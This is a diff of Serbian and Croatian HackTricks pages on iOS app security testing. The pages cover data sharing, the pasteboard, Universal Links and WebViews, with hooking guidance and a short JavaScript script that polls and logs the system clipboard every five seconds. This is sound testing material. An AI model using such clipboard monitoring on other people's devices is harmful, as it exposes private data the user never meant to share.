- Specifikacija **vrsta dokumenata koje aplikacija može otvoriti**.
- Deklaracija **prilagođenih tipova dokumenata**.
- Specifikacija **tipova dokumenata koje aplikacija može otvoriti**.
- Verifikacija **integriteta primljenih podataka**.
Bez pristupa izvornom kodu, ipak je moguće pregledati `Info.plist` za ključeve poput `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` i `CFBundleDocumentTypes` kako bi se razumjeli tipovi dokumenata koje aplikacija može obraditi i deklarirati.
Bez pristupa izvornoj kodu, može se još uvek ispitati `Info.plist` za ključeve kao što su `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, i `CFBundleDocumentTypes` kako bi se razumele vrste dokumenata koje aplikacija može obraditi i deklarisati.
Kratki vodič o ovim ključevima dostupan je na [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), koji ističe važnost definiranja i uvoza UTI-ova za prepoznavanje na razini sustava i povezivanje vrsta dokumenata s vašom aplikacijom za integraciju u dijalog "Otvori s".
Kratak vodič o ovim ključevima dostupan je na [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), naglašavajući važnost definisanja i uvoza UTI za sistemsko prepoznavanje i povezivanje tipova dokumenata sa vašom aplikacijom za integraciju u dijalogu "Otvoriti sa".
## Pristup dinamičkom testiranju
## Dinamički pristup testiranju
Za testiranje **slanja aktivnosti**, moguće je:
Da bi se testirale **aktivnosti slanja**, može se:
- Povezati se s metodom `init(activityItems:applicationActivities:)` kako bi se uhvatili predmeti i aktivnosti koje se dijele.
- Identificirati isključene aktivnosti presretanjem svojstva `excludedActivityTypes`.
- Uključiti u metodu `init(activityItems:applicationActivities:)` kako bi se uhvatili stavke i aktivnosti koje se dele.
- Identifikovati isključene aktivnosti presretanjem svojstva `excludedActivityTypes`.
Za **primanje predmeta**, uključuje:
Za **primanje stavki**, to uključuje:
- Dijeljenje datoteke s aplikacijom s druge izvore (npr. AirDrop, e-pošta) koja pokreće dijalog "Otvori s...".
- Povezivanje `application:openURL:options:` i drugih identificiranih metoda tijekom statičke analize kako bi se promatrala reakcija aplikacije.
- Upotreba neispravnih datoteka ili tehnika ispitivanja otpornosti aplikacije kako bi se procijenila njena robusnost.
- Deljenje datoteke sa aplikacijom iz drugog izvora (npr. AirDrop, email) koja pokreće dijalog "Otvoriti sa...".
- Uključivanje `application:openURL:options:` među drugim metodama identifikovanim tokom statičke analize kako bi se posmatrao odgovor aplikacije.
- Korišćenje neispravnih datoteka ili fuzzing tehnika za procenu otpornosti aplikacije.
## Reference
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakiranje AWS-a od nule do heroja s</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite vidjeti **oglašavanje vaše tvrtke u HackTricks-u** ili **preuzeti HackTricks u PDF-u**, provjerite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**službeni PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakirajuće trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorije.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,57 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Deljenje podataka unutar i između aplikacija na iOS uređajima olakšano je mehanizmom [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), koji je podeljen u dve osnovne kategorije:
Deljenje podataka unutar i između aplikacija na iOS uređajima olakšano je mehanizmom [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), koji je podeljen u dve glavne kategorije:
- **Sistemski opšti pasteboard**: Koristi se za deljenje podataka sa **bilo kojom aplikacijom** i dizajniran je da trajno čuva podatke preko restartovanja uređaja i deinstalacija aplikacija, funkcija koja je dostupna od iOS 10.
- **Prilagođeni / Imenovani pasteboard-ovi**: Namijenjeni su deljenju podataka **unutar aplikacije ili sa drugom aplikacijom** koja deli isti ID tima, i nisu dizajnirani da opstanu izvan životnog veka procesa aplikacije koja ih kreira, u skladu sa promenama uvedenim u iOS 10.
- **Sistemsku opštu međuspremnik**: Ovo se koristi za deljenje podataka sa **bilo kojom aplikacijom** i dizajnirano je da zadrži podatke čak i nakon ponovnog pokretanja uređaja i deinstalacije aplikacija, funkcija koja je dostupna od iOS 10.
- **Prilagođeni / imenovani međuspremnici**: Ovi su specifično za deljenje podataka **unutar aplikacije ili sa drugom aplikacijom** koja deli isti tim ID, i nisu dizajnirani da traju duže od trajanja procesa aplikacije koja ih kreira, u skladu sa promenama uvedenim u iOS 10.
**Bezbednosna razmatranja** igraju značajnu ulogu prilikom korišćenja pasteboard-ova. Na primer:
- Ne postoji mehanizam za korisnike da upravljaju dozvolama aplikacije za pristup **pasteboard-u**.
- Da bi se smanjio rizik od neovlašćenog praćenja pasteboard-a u pozadini, pristup je ograničen na vreme kada je aplikacija u prvom planu (od iOS 9).
- Korišćenje imenovanih pasteboard-ova sa trajnim podacima se ne preporučuje zbog problema privatnosti.
- Funkcija **Univerzalnog Clipboard-a** predstavljena sa iOS 10, koja omogućava deljenje sadržaja između uređaja putem opšteg pasteboard-a, može biti upravljana od strane programera kako bi postavili istek podataka i onemogućili automatski prenos sadržaja.
**Bezbednosna razmatranja** igraju značajnu ulogu prilikom korišćenja međuspremnika. Na primer:
- Ne postoji mehanizam za upravljanje dozvolama aplikacija za pristup **međuspremniku**.
- Da bi se smanjio rizik od neovlašćenog praćenja međuspremnika u pozadini, pristup je ograničen na trenutke kada je aplikacija u prvom planu (od iOS 9).
- Korišćenje trajnih imenovanih međuspremnika se ne preporučuje zbog briga o privatnosti.
- **Universal Clipboard** funkcija uvedena sa iOS 10, koja omogućava deljenje sadržaja između uređaja putem opšteg međuspremnika, može se upravljati od strane programera kako bi se postavila isteka podataka i onemogućio automatski prenos sadržaja.
Važno je osigurati da se **osetljive informacije ne čuvaju slučajno** na globalnom pasteboard-u. Pored toga, aplikacije treba da budu dizajnirane tako da spreče zloupotrebu podataka sa globalnog pasteboard-a za neželjene akcije, a programeri se ohrabruju da implementiraju mere za sprečavanje kopiranja osetljivih informacija na clipboard.
Osiguranje da **osetljive informacije nisu nenamerno sačuvane** na globalnom međuspremniku je ključno. Pored toga, aplikacije bi trebale biti dizajnirane da spreče zloupotrebu podataka globalnog međuspremnika za nenamerne radnje, a programeri se podstiču da implementiraju mere za sprečavanje kopiranja osetljivih informacija u međuspremnik.
### Statistička Analiza
### Staticka analiza
Za statičku analizu, pretražite izvorni kod ili binarni fajl za:
- `generalPasteboard` kako biste identifikovali korišćenje **sistemskog opšteg pasteboard-a**.
- `pasteboardWithName:create:` i `pasteboardWithUniqueName` za kreiranje **prilagođenih pasteboard-ova**. Proverite da li je omogućena trajnost, iako je ovo zastarelo.
Za statičku analizu, pretražujte izvorni kod ili binarni fajl za:
- `generalPasteboard` kako biste identifikovali korišćenje **sistemske opšte međuspremnika**.
- `pasteboardWithName:create:` i `pasteboardWithUniqueName` za kreiranje **prilagođenih međuspremnika**. Proverite da li je trajnost omogućena, iako je ovo zastarelo.
### Dinamička Analiza
### Dinamička analiza
Dinamička analiza uključuje hakovanje ili praćenje određenih metoda:
Dinamička analiza uključuje povezivanje ili praćenje specifičnih metoda:
- Pratite `generalPasteboard` za sistemsku upotrebu.
- Pratite `pasteboardWithName:create:` i `pasteboardWithUniqueName` za prilagođene implementacije.
- Posmatrajte pozive zastarele metode `setPersistent:` kako biste proverili postavke trajnosti.
- Posmatrajte pozive zastare metode `setPersistent:` kako biste proverili postavke trajnosti.
Ključni detalji za praćenje uključuju:
- **Imena pasteboard-ova** i **sadržaje** (na primer, provera za stringove, URL-ove, slike).
- **Broj stavki** i **tipovi podataka** prisutni, koristeći provere standardnih i prilagođenih tipova podataka.
- **Opcije isteka i samo-lokalno** pregledom metode `setItems:options:`.
Ključni detalji koje treba pratiti uključuju:
- **Imena međuspremnika** i **sadržaj** (na primer, proveravanje stringova, URL-ova, slika).
- **Broj stavki** i **tipovi podataka** prisutni, koristeći standardne i prilagođene provere tipa podataka.
- **Opcije isteka i lokalno samo** inspekcijom metode `setItems:options:`.
Primer korišćenja alata za praćenje je **objection-ov pasteboard monitor**, koji proverava generalPasteboard svakih 5 sekundi za promene i prikazuje nove podatke.
Primer korišćenja alata za praćenje je **objectionov monitor međuspremnika**, koji proverava generalPasteboard svake 5 sekundi za promene i ispisuje nove podatke.
Evo jednostavnog primera JavaScript skripte, inspirisanog pristupom objection-a, za čitanje i beleženje promena sa pasteboard-a svakih 5 sekundi:
Evo jednostavnog primera JavaScript skripte, inspirisane pristupom objection-a, za čitanje i logovanje promena iz međuspremnika svake 5 sekundi:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -74,7 +75,7 @@ console.log(items);
}, 1000 * 5);
```
## Reference
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
@ -85,16 +86,17 @@ console.log(items);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# iOS Univerzalni linkovi
# iOS Universal Links
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Uvod
Univerzalni linkovi pružaju **besprekorno preusmeravanje** korisnicima otvaranjem sadržaja direktno u aplikaciji, zaobilazeći potrebu za preusmeravanjem preko Safarija. Ovi linkovi su **jedinstveni** i bezbedni, jer ih druge aplikacije ne mogu koristiti. Ovo se obezbeđuje postavljanjem `apple-app-site-association` JSON fajla u korenski direktorijum veb sajta, uspostavljajući proverljivu vezu između veb sajta i aplikacije. U slučajevima kada aplikacija nije instalirana, Safari će preuzeti kontrolu i usmeriti korisnika na veb stranicu, održavajući prisustvo aplikacije.
Univerzalni linkovi nude **besprekorno preusmeravanje** korisnicima otvarajući sadržaj direktno u aplikaciji, zaobilazeći potrebu za preusmeravanjem u Safariju. Ovi linkovi su **jedinstveni** i sigurni, jer ih druge aplikacije ne mogu preuzeti. To se osigurava hostovanjem `apple-app-site-association` JSON datoteke u korenskom direktorijumu veb sajta, uspostavljajući verifikovanu vezu između veb sajta i aplikacije. U slučajevima kada aplikacija nije instalirana, Safari će preuzeti kontrolu i usmeriti korisnika na veb stranicu, održavajući prisustvo aplikacije.
Za testere penetracije, fajl `apple-app-site-association` je od posebnog interesa jer može otkriti **osetljive putanje**, potencijalno uključujući one koje se odnose na neobjavljene funkcije.
Za testere penetracije, `apple-app-site-association` datoteka je od posebnog interesa jer može otkriti **osetljive putanje**, potencijalno uključujući one koje se odnose na neobjavljene funkcije.
### **Analiza Entitlement-a Povezanih Domena**
### **Analiza ovlašćenja povezanih domena**
Programeri omogućavaju Univerzalne linkove konfigurišući **Povezane Domena** u Xcode-ovom tabu Mogućnosti ili inspekcijom `.entitlements` fajla. Svaki domen je prefiksovan sa `applinks:`. Na primer, konfiguracija Telegram-a može izgledati ovako:
Programeri omogućavaju Univerzalne linkove konfigurisanjem **Povezanih domena** u Xcode-ovom tabu Capabilities ili pregledanjem `.entitlements` datoteke. Svaki domen je prefiksiran sa `applinks:`. Na primer, konfiguracija Telegram-a može izgledati ovako:
```xml
<key>com.apple.developer.associated-domains</key>
<array>
@ -34,19 +35,19 @@ Programeri omogućavaju Univerzalne linkove konfigurišući **Povezane Domena**
```
Za sveobuhvatnije uvide, pogledajte [arhiviranu Apple Developer dokumentaciju](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Ako radite sa kompajliranom aplikacijom, dozvole se mogu izvući kako je navedeno u [ovom vodiču](extracting-entitlements-from-compiled-application.md).
Ako radite sa kompajliranom aplikacijom, prava se mogu izvući kao što je opisano u [ovom vodiču](extracting-entitlements-from-compiled-application.md).
### **Dobijanje fajla Apple App Site Association**
### **Preuzimanje Apple App Site Association Fajla**
Fajl `apple-app-site-association` treba dobiti sa servera koristeći domene navedene u dozvolama. Proverite da li je fajl dostupan putem HTTPS direktno na `https://<domen>/apple-app-site-association`. Alati poput [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) mogu pomoći u ovom procesu.
Fajl `apple-app-site-association` treba preuzeti sa servera koristeći domene navedene u pravima. Osigurajte da je fajl dostupan putem HTTPS direktno na `https://<domain>/apple-app-site-association`. Alati poput [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) mogu pomoći u ovom procesu.
### **Obrada univerzalnih linkova u aplikaciji**
### **Rukovanje Universal Links u Aplikaciji**
Aplikacija mora implementirati specifične metode za pravilno rukovanje univerzalnim linkovima. Glavna metoda koju treba potražiti je [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Ključno je da šema URL-ova koje se obrađuju bude HTTP ili HTTPS, jer druge neće biti podržane.
Aplikacija mora implementirati specifične metode za pravilno rukovanje univerzalnim linkovima. Primarna metoda koju treba tražiti je [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Ključno je da shema URL-ova koji se obrađuju bude HTTP ili HTTPS, jer drugi neće biti podržani.
#### **Validacija metode za rukovanje podacima**
#### **Validacija Metode Rukovaoca Podacima**
Kada univerzalni link otvori aplikaciju, `NSUserActivity` objekat se prosleđuje aplikaciji sa URL-om. Pre obrade ovog URL-a, važno je validirati i dezinfikovati ga kako bi se sprečili sigurnosni rizici. Evo primera u Swift-u koji demonstrira proces:
Kada univerzalni link otvori aplikaciju, `NSUserActivity` objekat se prosleđuje aplikaciji sa URL-om. Pre obrade ovog URL-a, važno je validirati i sanitizovati ga kako bi se sprečili sigurnosni rizici. Evo primera u Swift-u koji prikazuje proces:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -58,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
URL-ovi treba pažljivo da se analiziraju i validiraju, posebno ako uključuju parametre, kako bi se zaštitili od potencijalnog falsifikovanja ili neispravnih podataka. `NSURLComponents` API je koristan u tu svrhu, kao što je prikazano ispod:
URLs treba pažljivo analizirati i validirati, posebno ako uključuju parametre, kako bi se zaštitili od potencijalnog spoofinga ili neispravnih podataka. `NSURLComponents` API je koristan za ovu svrhu, kao što je prikazano u nastavku:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -84,28 +85,26 @@ return false
}
}
```
Kroz **pažljivu konfiguraciju i validaciju**, programeri mogu osigurati da univerzalni linkovi poboljšaju korisničko iskustvo, održavajući standarde bezbednosti i privatnosti.
Kroz **pažljivu konfiguraciju i validaciju**, programeri mogu osigurati da univerzalni linkovi poboljšaju korisničko iskustvo, dok održavaju standarde sigurnosti i privatnosti.
## Alati
* [GetUniversal.link](https://getuniversal.link/): Pomaže u pojednostavljenju testiranja i upravljanja univerzalnim linkovima vaše aplikacije i AASA datotekom. Jednostavno unesite svoju domenu da biste proverili celovitost AASA datoteke ili koristite prilagođenu kontrolnu tablu da biste lako testirali ponašanje linka. Ovaj alat takođe vam pomaže da odredite kada će Apple sledeći put indeksirati vašu AASA datoteku.
* [GetUniversal.link](https://getuniversal.link/): Pomaže u pojednostavljivanju testiranja i upravljanja univerzalnim linkovima vaše aplikacije i AASA datotekom. Jednostavno unesite svoju domenu da biste proverili integritet AASA datoteke ili koristite prilagođenu kontrolnu tablu za lako testiranje ponašanja linkova. Ovaj alat vam takođe pomaže da odredite kada će Apple sledeći put indeksirati vašu AASA datoteku.
## Reference
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kod ove stranice je izvučen [ovde](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Proverite stranicu za dalje detalje.
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## Tipovi WebViews-a
## WebViews types
WebViews se koriste unutar aplikacija kako bi interaktivno prikazivale web sadržaj. Različiti tipovi WebViews-a nude različite funkcionalnosti i sigurnosne karakteristike za iOS aplikacije. Evo kratkog pregleda:
WebViews se koriste unutar aplikacija za interaktivno prikazivanje web sadržaja. Različite vrste WebViews nude različite funkcionalnosti i bezbednosne karakteristike za iOS aplikacije. Evo kratkog pregleda:
